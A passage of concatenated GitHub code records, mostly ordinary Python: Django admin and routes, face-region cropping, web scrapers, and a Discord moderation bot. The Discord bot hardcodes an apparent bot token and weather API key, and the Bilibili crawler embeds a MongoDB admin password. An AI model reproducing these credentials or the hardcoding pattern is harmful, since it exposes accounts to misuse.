obj.recipes.count()\n recipe_count.short_description = 'Кол-во рецептов'\n\n def follower_count(self, obj):\n return obj.followers.count()\n follower_count.short_description = 'Кол-во подписчиков'\n\n\n@admin.register(Follow)\nclass FollowAdmin(admin.ModelAdmin):\n \"\"\"Followers admin zone settings.\"\"\"\n list_display = ('user', 'author',)\n search_fields = ('user',)\n list_filter = ('user',)\n empty_value_display = '-пусто-'\n","repo_name":"TonyxRazzor/foodgram-project-react","sub_path":"backend/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16410384681","text":"\"\"\"\nSection 3\nConcurrency, CPU Bound vs I/O Bound - I/O Bound(2) - threading vs asyncio vs multiprocessing\n\n\nKeyword - I/O Bound, requests, threading\n\n\"\"\"\n\nfrom typing import List\nimport concurrent.futures\nimport threading\nimport requests\nimport time\n\n\n# 각 스레드에 생성되는 객체(독립적)\nthread_local = threading.local()\n\n\ndef get_session() -> requests.Session:\n if not hasattr(thread_local, \"session\"):\n thread_local.session = requests.Session()\n return thread_local.session\n\n\ndef request_site(url: str) -> None:\n session = get_session()\n with session.get(url) as response:\n print(f\"[Read Contents : {len(response.content)}, Status Code : {response.status_code}] from {url}\")\n \n\ndef request_all_site(urls: List[str]) -> None:\n with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor:\n executor.map(request_site, urls)\n\n\ndef main() -> None:\n urls = [\n \"https://www.jython.org\",\n \"http://olympus.realpython.org/dice\",\n \"https://realpython.com/\"\n ] * 3\n \n # 실행시간 측정\n start_time = time.time()\n\n # 실행\n request_all_site(urls)\n\n # 실행 시간 종료\n duration = time.time() - start_time\n\n # 결과 출력\n print(f\"Downloaded {len(urls)} sites in {duration} seconds.\")\n\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"yooseongc/inflearn-python-study","sub_path":"python-concurrency/chap_03_05_01.py","file_name":"chap_03_05_01.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38087109384","text":"import cv2\nimport dlib\nimport time\n\n# path to change\nabsolutePath = '/home/stephen/THESIS_PROTOTYPE_DEV/FACE_SCANNING_TECHNOLOGY_master/'\n\n# file paths\npredictor_path = absolutePath + 'shape_predictor_68_face_landmarks.dat'\nface_cascade = cv2.CascadeClassifier(absolutePath + 'haarcascades/haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier(absolutePath + 'haarcascades/haarcascade_eye_tree_eyeglasses.xml')\n\n# file paths to be saved\nlc_roi_path = absolutePath + 'Client_Regions/left_cheek.jpg'\nrc_roi_path = absolutePath + 'Client_Regions/right_cheek.jpg'\nnose_roi_path = absolutePath + 'Client_Regions/nose.jpg'\nforehead_roi_path = absolutePath + 'Client_Regions/forehead.jpg'\nchin_roi_path = absolutePath + 'Client_Regions/chin.jpg'\nleft_eye_roi_path = absolutePath + 'Client_Regions/left_eye.jpg'\nright_eye_roi_path = absolutePath + 'Client_Regions/right_eye.jpg'\nlips_roi_path = absolutePath + 'Client_Regions/lips.jpg'\nface_roi_path = absolutePath + 'Client_Regions/face.jpg'\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(predictor_path)\n\n\ndef save_forehead(img_input):\n img = img_input\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.1, 4)\n eye_index = 0\n adjusted_y = 10\n for (x, y, w, h) in faces:\n roi_gray = gray[y:y + h, x:x + w]\n roi_color = img[y:y + h, x:x + w]\n eyes = eye_cascade.detectMultiScale(roi_gray)\n for (ex, ey, ew, eh) in eyes:\n if eye_index == 0:\n l_eye_x = ex\n l_eye_y = ey\n l_eye_w = ew\n l_eye_h = eh\n\n else:\n r_eye_x = ex\n r_eye_y = ey\n r_eye_w = ew\n r_eye_h = eh\n eye_index += 1\n\n if l_eye_x > r_eye_x:\n l_eye_x_temp = l_eye_x\n l_eye_y_temp = l_eye_y\n l_eye_w_temp = l_eye_w\n l_eye_h_temp = l_eye_h\n\n l_eye_x = r_eye_x\n l_eye_y = r_eye_y\n l_eye_w = r_eye_w\n l_eye_h = r_eye_h\n\n r_eye_x = l_eye_x_temp\n r_eye_y = l_eye_y_temp\n r_eye_w = l_eye_w_temp\n r_eye_h = l_eye_h_temp\n\n forehead = roi_color[adjusted_y:l_eye_y - adjusted_y, l_eye_x:(r_eye_x + l_eye_x)]\n forehead_dict = {'roi_image': forehead, 'org_x': l_eye_x, 'org_y': adjusted_y, 'width': r_eye_x + l_eye_x,\n 'height': l_eye_y - adjusted_y, 'roi_face': roi_color}\n\n return forehead_dict\n\n\ndef save_eye_left_right(input_img):\n frame = input_img\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = detector(gray)\n\n for face in faces:\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n\n landmarks = predictor(gray, face)\n\n for n in range(0, 68):\n x = landmarks.part(n).x\n y = landmarks.part(n).y\n\n if n == 17:\n l_eye_origin_y = y\n r_eye_origin_y = y\n elif n == 1:\n l_eye_height = r_eye_height = y\n elif n == 0:\n l_eye_origin_x = x\n\n elif n == 36:\n l_eye_width = x\n\n elif n == 45:\n r_eye_origin_x = x\n\n elif n == 16:\n r_eye_width = x\n\n roi_eye_l = frame[l_eye_origin_y:l_eye_height, l_eye_origin_x:l_eye_width]\n roi_eye_r = frame[r_eye_origin_y:r_eye_height, r_eye_origin_x:r_eye_width]\n l_eye_dict = {'roi_image': roi_eye_l, 'org_x': l_eye_origin_x, 'org_y': l_eye_origin_y, 'width': l_eye_width,\n 'height': l_eye_height}\n r_eye_dict = {'roi_image': roi_eye_r, 'org_x': r_eye_origin_x, 'org_y': r_eye_origin_y, 'width': r_eye_width,\n 'height': r_eye_height}\n eyes_dict = {'eye_left': l_eye_dict, 'eye_right': r_eye_dict}\n\n return eyes_dict\n\n\ndef save_cheeks_nose_chin(input_img):\n frame = input_img\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = detector(gray)\n\n for face in faces:\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n\n landmarks = predictor(gray, face)\n\n for n in range(0, 68):\n x = landmarks.part(n).x\n y = landmarks.part(n).y\n\n # CHEEKS\n if n == 28:\n left_cheek_origin_y = right_cheek_origin_y = y\n elif n == 17:\n left_cheek_origin_x = x\n elif n == 4:\n left_cheek_height = right_cheek_height = y\n elif n == 49:\n left_cheek_width = x\n elif n == 42:\n right_cheek_origin_x = x\n elif n == 26:\n right_cheek_width = x\n\n # NOSE\n elif n == 31:\n nose_origin_x = x\n elif n == 27:\n nose_origin_y = y\n elif n == 35:\n nose_width = x\n elif n == 33:\n nose_height = y\n\n # CHIN\n elif n == 57:\n chin_origin_y = y\n elif n == 5:\n chin_origin_x = x\n elif n == 11:\n chin_width = x\n elif n == 8:\n chin_height = y\n\n left_cheek_cropped = frame[left_cheek_origin_y:left_cheek_height, left_cheek_origin_x:left_cheek_width]\n right_cheek_cropped = frame[right_cheek_origin_y:right_cheek_height, right_cheek_origin_x:right_cheek_width]\n\n nose_cropped = frame[nose_origin_y:nose_height, nose_origin_x:nose_width]\n\n chin_cropped = frame[chin_origin_y:chin_height, chin_origin_x:chin_width]\n\n l_cheek_dict = {'roi_image': left_cheek_cropped, 'org_x': left_cheek_origin_x, 'org_y': left_cheek_origin_y,\n 'width': left_cheek_width,\n 'height': left_cheek_height}\n r_cheek_dict = {'roi_image': right_cheek_cropped, 'org_x': right_cheek_origin_x, 'org_y': right_cheek_origin_y,\n 'width': right_cheek_width,\n 'height': right_cheek_height}\n nose_dict = {'roi_image': nose_cropped, 'org_x': nose_origin_x, 'org_y': nose_origin_y, 'width': nose_width,\n 'height': nose_height}\n chin_dict = {'roi_image': chin_cropped, 'org_x': chin_origin_x, 'org_y': chin_origin_y, 'width': chin_width,\n 'height': chin_height}\n\n front_face_dict = dict(cheek_left=l_cheek_dict, cheek_right=r_cheek_dict, nose=nose_dict, chin=chin_dict)\n\n return front_face_dict\n\n\ndef find_lips(input_img):\n input_img = cv2.resize(input_img, (600, 600), interpolation=cv2.INTER_AREA)\n frame = input_img\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = detector(gray)\n\n for face in faces:\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n\n landmarks = predictor(gray, face)\n\n for n in range(0, 68):\n x = landmarks.part(n).x\n y = landmarks.part(n).y\n\n if n == 3:\n lips_origin_y = y\n elif n == 6:\n lips_origin_x = x\n elif n == 10:\n lips_width = x\n elif n == 11:\n lips_height = y\n lips_cropped = frame[lips_origin_y:lips_height, lips_origin_x:lips_width]\n chin_dict = {'roi_image': lips_cropped, 'org_x': lips_origin_x, 'org_y': lips_origin_y, 'width': lips_width,\n 'height': lips_height}\n\n return chin_dict\n\n\ndef find_8_regions(input_img, time_now):\n # return the matrix of cropped forehead, side eyes, nose, cheeks, chin and lips\n\n forehead_cropped = save_forehead(input_img)\n roi_eye_cropped_l, roi_eye_cropped_r = save_eye_left_right(input_img)\n nose_cropped, left_cheek_cropped, right_cheek_cropped, chin_cropped = save_cheeks_nose_chin(input_img)\n lips_cropped = find_lips(input_img)\n\n return forehead_cropped, nose_cropped, left_cheek_cropped, right_cheek_cropped, chin_cropped, roi_eye_cropped_l, roi_eye_cropped_r, lips_cropped\n\n\ndef display_regions(frame, regions_dict):\n bold = 2\n cv2.rectangle(regions_dict['forehead']['roi_face'],\n (regions_dict['forehead']['org_x'], regions_dict['forehead']['org_y']),\n (regions_dict['forehead']['width'], regions_dict['forehead']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['lips']['org_x'], regions_dict['lips']['org_y']),\n (regions_dict['lips']['width'], regions_dict['lips']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (\n regions_dict['front_face']['cheek_left']['org_x'],\n regions_dict['front_face']['cheek_left']['org_y']),\n (regions_dict['front_face']['cheek_left']['width'],\n regions_dict['front_face']['cheek_left']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['front_face']['cheek_right']['org_x'],\n regions_dict['front_face']['cheek_right']['org_y']),\n (regions_dict['front_face']['cheek_right']['width'],\n regions_dict['front_face']['cheek_right']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['front_face']['nose']['org_x'], regions_dict['front_face']['nose']['org_y']),\n (regions_dict['front_face']['nose']['width'], regions_dict['front_face']['nose']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['front_face']['chin']['org_x'], regions_dict['front_face']['chin']['org_y']),\n (regions_dict['front_face']['chin']['width'], regions_dict['front_face']['chin']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_left']['org_x'], regions_dict['side_eyes']['eye_left']['org_y']),\n (regions_dict['side_eyes']['eye_left']['width'], regions_dict['side_eyes']['eye_left']['height']),\n (0, 255, 0), bold)\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_right']['org_x'], regions_dict['side_eyes']['eye_right']['org_y']),\n (regions_dict['side_eyes']['eye_right']['width'], regions_dict['side_eyes']['eye_right']['height']),\n (0, 255, 0), bold)\n\n cv2.imshow('Pores Analysis', frame)\n cv2.waitKey(0)\n\n\ndef regions3_display(frame, regions_dict):\n bold = 2\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_left']['org_x'], regions_dict['forehead']['height']),\n (regions_dict['side_eyes']['eye_right']['width'], regions_dict['front_face']['cheek_left']['org_y']),\n (0, 255, 0), bold)\n\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_left']['org_x'], regions_dict['front_face']['cheek_left']['org_y']),\n (regions_dict['side_eyes']['eye_right']['width'], regions_dict['lips']['org_y']),\n (0, 255, 0), bold)\n\n cv2.rectangle(frame,\n (regions_dict['front_face']['cheek_left']['org_x'], regions_dict['lips']['org_y']),\n (regions_dict['front_face']['cheek_right']['width'], regions_dict['front_face']['chin']['height']),\n (0, 255, 0), bold)\n\n cv2.imshow('Face Scanning Technology', frame)\n cv2.waitKey(0)\n\n\ndef regions3_display_label(frame, regions_dict, p_dict, w_dict, l_dict):\n cv2.imshow('Face Scanning Technology',frame)\n cv2.waitKey(0)\n\n bold = 2\n\n font = cv2.FONT_HERSHEY_SIMPLEX\n fontScale = .7\n color = (255, 0, 0)\n thickness = 2\n adjust_y = 40\n\n color_l = (255, 0, 0)\n thickness_l = 2\n\n upper_p_str_ = 'Pores: ' + str(p_dict['pores']['upper_part']) + '%'\n middle_p_str_ = 'Pores: ' + str(p_dict['pores']['middle_part']) + '%'\n lower_p_str_ = 'Pores: ' + str(p_dict['pores']['lower_part']) + '%'\n\n upper_w_str_ = 'Wrinkles: ' + str(w_dict['wrinkles']['upper_part']) + '%'\n middle_w_str_ = 'Wrinkles: ' + str(w_dict['wrinkles']['middle_part']) + '%'\n lower_w_str_ = 'Wrinkles: ' + str(w_dict['wrinkles']['lower_part']) + '%'\n\n moisture_str_ = 'Lips Moisture: ' + str(l_dict['moisture']['lips']) + '%'\n\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_left']['org_x'], regions_dict['forehead']['height']),\n (regions_dict['side_eyes']['eye_right']['width'], regions_dict['front_face']['cheek_left']['org_y']),\n (0, 255, 0), bold)\n cv2.putText(frame, upper_p_str_,\n (regions_dict['side_eyes']['eye_right']['width'] + 5,\n regions_dict['forehead']['height']),\n font, fontScale, color, thickness, cv2.LINE_AA)\n cv2.putText(frame, upper_w_str_,\n (regions_dict['side_eyes']['eye_right']['width'] + 5,\n regions_dict['forehead']['height']+adjust_y ) ,\n font, fontScale, color, thickness, cv2.LINE_AA)\n\n cv2.rectangle(frame,\n (regions_dict['side_eyes']['eye_left']['org_x'], regions_dict['front_face']['cheek_left']['org_y']),\n (regions_dict['side_eyes']['eye_right']['width'], regions_dict['lips']['org_y']),\n (0, 255, 0), bold)\n cv2.putText(frame, middle_p_str_,\n (regions_dict['side_eyes']['eye_right']['width'] + 5,\n regions_dict['front_face']['cheek_left']['org_y']),\n font, fontScale, color, thickness, cv2.LINE_AA)\n cv2.putText(frame, middle_w_str_,\n (regions_dict['side_eyes']['eye_right']['width'] + 5,\n regions_dict['front_face']['cheek_left']['org_y'] + adjust_y ),\n font, fontScale, color, thickness, cv2.LINE_AA)\n\n cv2.rectangle(frame,\n (regions_dict['front_face']['cheek_left']['org_x'], regions_dict['lips']['org_y']),\n (regions_dict['front_face']['cheek_right']['width'], regions_dict['front_face']['chin']['height']),\n (0, 255, 0), bold)\n\n cv2.putText(frame, lower_p_str_,\n (regions_dict['front_face']['cheek_right']['width'] + 5,\n regions_dict['lips']['org_y'] + adjust_y),\n font, fontScale, color, thickness, cv2.LINE_AA)\n cv2.putText(frame, lower_w_str_,\n (regions_dict['front_face']['cheek_right']['width'] + 5,\n regions_dict['lips']['org_y'] + adjust_y + adjust_y ),\n font, fontScale, color, thickness, cv2.LINE_AA)\n\n # LINE FOR MOISTURE\n start_point = (int((regions_dict['lips']['org_x']+regions_dict['lips']['width'])/2)\n , int((regions_dict['lips']['org_y']+regions_dict['lips']['height'])/2))\n end_point = (regions_dict['front_face']['chin']['org_x'],\n regions_dict['front_face']['chin']['height']+20)\n\n cv2.line(frame, start_point, end_point, color_l, thickness_l)\n\n cv2.putText(frame, moisture_str_,\n (regions_dict['front_face']['chin']['org_x']-20,\n regions_dict['front_face']['chin']['height']+50),\n font, fontScale, color, thickness, cv2.LINE_AA)\n\n cv2.imshow('Face Scanning Technology', frame)\n cv2.waitKey(0)\n\n\ndef save_regions(reg_dict):\n cv2.imwrite(lc_roi_path, reg_dict['front_face']['cheek_left']['roi_image'])\n cv2.imwrite(rc_roi_path, reg_dict['front_face']['cheek_right']['roi_image'])\n cv2.imwrite(nose_roi_path, reg_dict['front_face']['nose']['roi_image'])\n cv2.imwrite(chin_roi_path, reg_dict['front_face']['chin']['roi_image'])\n cv2.imwrite(forehead_roi_path, reg_dict['forehead']['roi_image'])\n cv2.imwrite(left_eye_roi_path, reg_dict['side_eyes']['eye_left']['roi_image'])\n cv2.imwrite(right_eye_roi_path, reg_dict['side_eyes']['eye_right']['roi_image'])\n cv2.imwrite(lips_roi_path, reg_dict['lips']['roi_image'])\n cv2.imwrite(face_roi_path, reg_dict['forehead']['roi_face'])\n\n\ndef save_time_regions(reg_dict, time_now):\n lc_time_path_p = absolutePath + 'training_data/pores/cheek_pictures/left_cheek_{}.jpg'.format(time_now)\n rc_time_path_p = absolutePath + 'training_data/pores/cheek_pictures/right_cheek_{}.jpg'.format(time_now)\n nose_time_path_p = absolutePath + 'training_data/pores/nose_pictures/nose_{}.jpg'.format(time_now)\n forehead_time_path_p = absolutePath + 'training_data/pores/forehead_pictures/forehead_{}.jpg'.format(time_now)\n chin_time_path_p = absolutePath + 'training_data/pores/chin_pictures/chin_{}.jpg'.format(time_now)\n left_eye_time_path_p = absolutePath + 'training_data/pores/side_eyes/left_eye_{}.jpg'.format(time_now)\n right_eye_time_path_p = absolutePath + 'training_data/pores/side_eyes/right_eye_{}.jpg'.format(time_now)\n\n lc_time_path_w = absolutePath + 'training_data/wrinkles/cheek_pictures/left_cheek_{}.jpg'.format(time_now)\n rc_time_path_w = absolutePath + 'training_data/wrinkles/cheek_pictures/right_cheek_{}.jpg'.format(time_now)\n nose_time_path_w = absolutePath + 'training_data/wrinkles/nose_pictures/nose_{}.jpg'.format(time_now)\n forehead_time_path_w = absolutePath + 'training_data/wrinkles/forehead_pictures/forehead_{}.jpg'.format(time_now)\n chin_time_path_w = absolutePath + 'training_data/wrinkles/chin_pictures/chin_{}.jpg'.format(time_now)\n left_eye_time_path_w = absolutePath + 'training_data/wrinkles/side_eyes/left_eye_{}.jpg'.format(time_now)\n right_eye_time_path_w = absolutePath + 'training_data/wrinkles/side_eyes/right_eye_{}.jpg'.format(time_now)\n\n lips_time_path = absolutePath + 'training_data/moisture/cropped_lips/lips_{}.jpg'.format(time_now)\n\n cv2.imwrite(lc_time_path_p, reg_dict['front_face']['cheek_left']['roi_image'])\n cv2.imwrite(rc_time_path_p, reg_dict['front_face']['cheek_right']['roi_image'])\n cv2.imwrite(nose_time_path_p, reg_dict['front_face']['nose']['roi_image'])\n cv2.imwrite(chin_time_path_p, reg_dict['front_face']['chin']['roi_image'])\n cv2.imwrite(forehead_time_path_p, reg_dict['forehead']['roi_image'])\n cv2.imwrite(left_eye_time_path_p, reg_dict['side_eyes']['eye_left']['roi_image'])\n cv2.imwrite(right_eye_time_path_p, reg_dict['side_eyes']['eye_right']['roi_image'])\n\n cv2.imwrite(lc_time_path_w, reg_dict['front_face']['cheek_left']['roi_image'])\n cv2.imwrite(rc_time_path_w, reg_dict['front_face']['cheek_right']['roi_image'])\n cv2.imwrite(nose_time_path_w, reg_dict['front_face']['nose']['roi_image'])\n cv2.imwrite(chin_time_path_w, reg_dict['front_face']['chin']['roi_image'])\n cv2.imwrite(forehead_time_path_w, reg_dict['forehead']['roi_image'])\n cv2.imwrite(left_eye_time_path_w, reg_dict['side_eyes']['eye_left']['roi_image'])\n cv2.imwrite(right_eye_time_path_w, reg_dict['side_eyes']['eye_right']['roi_image'])\n\n cv2.imwrite(lips_time_path, reg_dict['lips']['roi_image'])\n\n\n# save_eye_left_right(frame)\nif __name__ == \"__main__\":\n test_image_path = absolutePath + 'Pores_Analysis/face_pictures/stephen.jpg'\n frame = cv2.imread(test_image_path)\n input_img = cv2.resize(frame, (600, 600), interpolation=cv2.INTER_AREA)\n regions_dict = {'forehead': save_forehead(input_img), 'side_eyes': save_eye_left_right(input_img),\n 'front_face': save_cheeks_nose_chin(input_img), 'lips': find_lips(input_img)}\n\n time_now = time.strftime(\"%Y%m%d-%H%M%S\")\n save_regions(regions_dict)\n save_time_regions(regions_dict, time_now)\n display_regions(input_img, regions_dict)\n","repo_name":"stephennacion06/Face_Scanning_Technology","sub_path":"training_data/facepoints_regions.py","file_name":"facepoints_regions.py","file_ext":"py","file_size_in_byte":19619,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"5134504472","text":"import requests\r\nimport pymongo\r\n\r\ndef get_json(url):\r\n params = {\r\n 'page_size': 10,\r\n 'next_offset': num,\r\n 'tag': '今日热门',\r\n 'platform': 'pc'\r\n }\r\n headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\"\r\n }\r\n response = requests.get(url,headers=headers,params=params)\r\n return response.json()\r\n\r\ndef jiexi_parse(html):\r\n\r\n for i in range(0,10):\r\n data = html['data'][\"items\"][i]\r\n user = data['user']['name']\r\n title = data['item'][\"description\"]\r\n video_time = data['item'][\"video_time\"]\r\n upload_time = data['item'][\"upload_time\"]\r\n video_playurl = data['item'][\"video_playurl\"]\r\n p = {\r\n \"作者\":user,\r\n \"标题\":title,\r\n \"作品时间\":video_time,\r\n \"发布时间\":upload_time,\r\n \"web观看地址\":video_playurl,\r\n }\r\n print('正在写入{}'.format(p))\r\n a = pymong(p)\r\n\r\n\r\n\r\ndef pymong(jiegou):\r\n client = pymongo.MongoClient('mongodb://admin:snackdeng@localhost:27017')\r\n client.bilibili.shiping.insert(jiegou)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n for i in range(0,10):\r\n url = 'https://api.vc.bilibili.com/board/v1/ranking/top'\r\n num = i*10 + 1\r\n print('正在爬取第{}页'.format(i))\r\n html = get_json(url)\r\n jiegou = jiexi_parse(html)\r\n\r\n\r\n","repo_name":"snackdeng/python-crawler","sub_path":"哔哩哔哩视频爬取/top排行爬取/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"606414100","text":"import discord\nfrom discord import guild\nfrom discord import embeds\nfrom discord import message\nfrom discord.ext import commands\nimport random\nfrom typing import ValuesView\nimport os\nimport requests\nimport json\nfrom datetime import datetime\n\n#python3 -m pip install -U discord.py\n\nfrom discord.ext.commands.core import has_guild_permissions\n\nintents = discord.Intents.all()\nintents.message_content = True\nclient = discord.Client(intents=intents)\nclient = commands.Bot(command_prefix = '$',intents=intents)\n\n#bot login commandline notification\n@client.event\nasync def on_ready():\n print(f'We have logged in as {client.user}')\n\n#lockdown command\n@client.command()\n@commands.has_permissions(manage_channels = True)\nasync def lockdown(ctx):\n await ctx.channel.set_permissions(ctx.guild.default_role, send_messages = False)\n await ctx.send( ctx.channel.mention + \" is now in lockdown.\")\n\n#unlock command\n@client.command()\n@commands.has_permissions(manage_channels = True)\nasync def unlock(ctx):\n await ctx.channel.set_permissions(ctx.guild.default_role, send_messages = True)\n await ctx.send( ctx.channel.mention + \" has been unlocked.\")\n\n#poll command\n@client.command()\nasync def poll(ctx,*,message):\n emb = discord.Embed(title= \" POLL \", description=f\"{message}\")\n msg = await ctx.channel.send(embed=emb)\n await msg.add_reaction(\"👍🏾\")\n await msg.add_reaction(\"👎🏾\")\n\n#name change command\n@client.command()\nasync def changename(ctx, member: discord.Member, nick):\n await member.edit(nick=nick)\n await ctx.send(f'Nickname was changed for {member.mention} ')\n\n#slowmode command\n@client.command()\nasync def slowmode(ctx, seconds: int):\n await ctx.channel.edit(slowmode_delay=seconds)\n await ctx.send(f\"Slowmode delay has been set to {seconds} seconds.\")\n\n#Main Command Hub\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n\n #time command\n datetime_object = datetime.now()\n if message.content.startswith('$time'):\n await message.channel.send(datetime_object)\n\n #hello command\n if message.content.startswith('$hello'):\n await message.channel.send('Hello!')\n\n #weather command\n if message.content.startswith('$weather'):\n api_key = \"61ec60c7a5179f8a63fccbba684014cf\" #my key\n url = \"http://api.openweathermap.org/data/2.5/weather?units=imperial\"\n\n #checks if proper formatting was used in command\n try:\n index = message.content.index(\" \")\n city_name = message.content[index + 1:]\n complete_url = url + \"&appid=\" + api_key + \"&q=\" + city_name\n\n response = requests.get(complete_url)\n x = response.json()\n\n #checks if location exists\n if x[\"cod\"] != \"404\":\n\n y = x[\"main\"]\n current_temperature = y[\"temp\"]\n\n current_feelslike = y[\"feels_like\"]\n\n current_humidity = y[\"humidity\"]\n\n z = x[\"weather\"]\n\n weather_description = z[0][\"description\"]\n\n await message.channel.send(\"Temperature (in Fahrenheit): \" +\n str(current_temperature) +\n \"\\nFeels Like = \" +\n str(current_feelslike) +\n \"\\nHumidity (in percentage): \" +\n str(current_humidity) +\n \"\\nDescription: \" +\n str(weather_description))\n else:\n await message.channel.send(\"City Not Found\")\n except BaseException as err:\n await message.channel.send(\"Proper format: '$weather (city name)' \")\n await client.process_commands(message)\n\n\nclient.run(\"MTAxMzU4MzIwMjIwOTc2MzQ2MA.GQVIdJ.KAkYC7HFg6NJsla4wN-GkwvLKJZ1ZtOYdSlg1E\")","repo_name":"Sashu-Ponnaganti/Moderation-Discord-Bot","sub_path":"finalproject.py","file_name":"finalproject.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12312570411","text":"from Crud import *\r\nfrom Funciones import *\r\nwhile True:\r\n print(\"***Menu de opciones***\")\r\n print(\"1.|-->Biblioteca<--|\")\r\n print(\"2.|-->Agregar un libro<--|\")\r\n print(\"3.|-->Actualizar libro<--|\")\r\n print(\"4.|-->Eliminar un registro<--|\")\r\n print(\"5.|-->Salir del sistema<--|\")\r\n opcion = input(\"Ingrese un opcion: \")\r\n if opcion == \"1\":\r\n buscar_libros()\r\n elif opcion == \"2\":\r\n Libros = guardar_registro()\r\n registro(Libros)\r\n elif opcion == \"3\":\r\n id = int(input(\"Ingrese el ID del libro a modificar: \"))\r\n Libros = actualizar_registro()\r\n modificar_registro(id,Libros)\r\n elif opcion == \"4\":\r\n id = int(input(\"Ingrese el ID a eliminar: \"))\r\n eliminar= eliminar_libro(id)\r\n","repo_name":"veguito/Examencrud","sub_path":"Index.py","file_name":"Index.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23274963328","text":"#!/usr/bin/python3\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport sys\nimport time\nimport os\n\ndef scraping(url):\n url_split = url.split('/')[6].replace('-', '_') + '_'\n print(url_split)\n response = requests.get(url)\n if response.ok:\n soup = BeautifulSoup(response.text, 'html.parser')\n div = soup.findAll('div',{'class': 'range-revamp-product-dimensions__list-container'})\n size = []\n for i in div:\n for word in i:\n spliter = str(word).split('>')[1].split(' ')[0]\n if spliter.isdigit():\n size.append(spliter)\n size = size[:3]\n source = []\n x = 0\n good = False\n string = 'https://www.ikea.com/fr/fr/images/products'\n download_link = \"\"\n for raw_img in soup.find_all('img'):\n link = raw_img.get('src')\n source.append(link)\n source = list(filter(None, source))\n while x != len(source):\n if good != True:\n good = source[x].startswith(string)\n download_link = source[x]\n x+=1\n img_data = requests.get(download_link).content\n width = size[0]\n depth = size[1]\n height = size[2]\n image = url_split + '_' + str(width) + '-' + str(height) + '-' + str(depth) + '.jpg'\n print(image)\n with open(image, 'wb') as handler:\n handler.write(img_data)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print(\"Usage: ./scrapping.py\")\n with open(sys.argv[1], 'r') as fd:\n buff = fd.read().rstrip().split('\\n')\n for i in buff:\n scraping(i)\n","repo_name":"BRaymond69/EIP","sub_path":"homewizar-ia-back/Archive/POC/scrapping.py","file_name":"scrapping.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"44698666704","text":"from django.urls import path\r\n\r\nfrom .views import (\r\n ThreadDetailAPIView,\r\n ThreadListAPIView,\r\n UserExitAPIView,\r\n message_detail,\r\n message_list,\r\n message_mark,\r\n)\r\n\r\nurlpatterns = [\r\n path(\"threads/\", ThreadListAPIView.as_view()),\r\n path(\"threads/<int:pk>/\", ThreadDetailAPIView.as_view()),\r\n path(\"threads/<int:pk>/user_exit/<int:user_pk>\", UserExitAPIView.as_view()),\r\n path(\"threads/<int:pk>/messages\", message_list),\r\n path(\"threads/messages/<int:message_pk>\", message_detail),\r\n path(\"threads/messages/mark/<int:message_pk>\", message_mark),\r\n]\r\n","repo_name":"Ridddledim/messenger","sub_path":"apps/dialogs/api/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30147824556","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Guillaume Chataignier\n\"\"\"\n###############################################################################\n### Import\n###############################################################################\nimport numpy as np\nfrom imgConstant import RGGBPattern\n\n####################################################################################################\n### Mosaic functions\n####################################################################################################\n# Check validity of Bayer Pattern (a single 1 for each pixel)\ndef checkBayer(BP):\n if BP.ndim == 3 and BP.dtype == 'bool':\n sY, sX = BP.shape[0], BP.shape[1]\n flagVal = True\n errMsg = ''\n for ii in range(sY):\n for jj in range(sX):\n if not np.sum(BP[ii,jj])==1:\n flagVal=False\n errMsg='Bayer pattern not valid: at least one pixel sees multiple channels.'\n else:\n flagVal=False\n errMsg = 'Bayer pattern must be boolean array in 3 dimensions.'\n return flagVal, 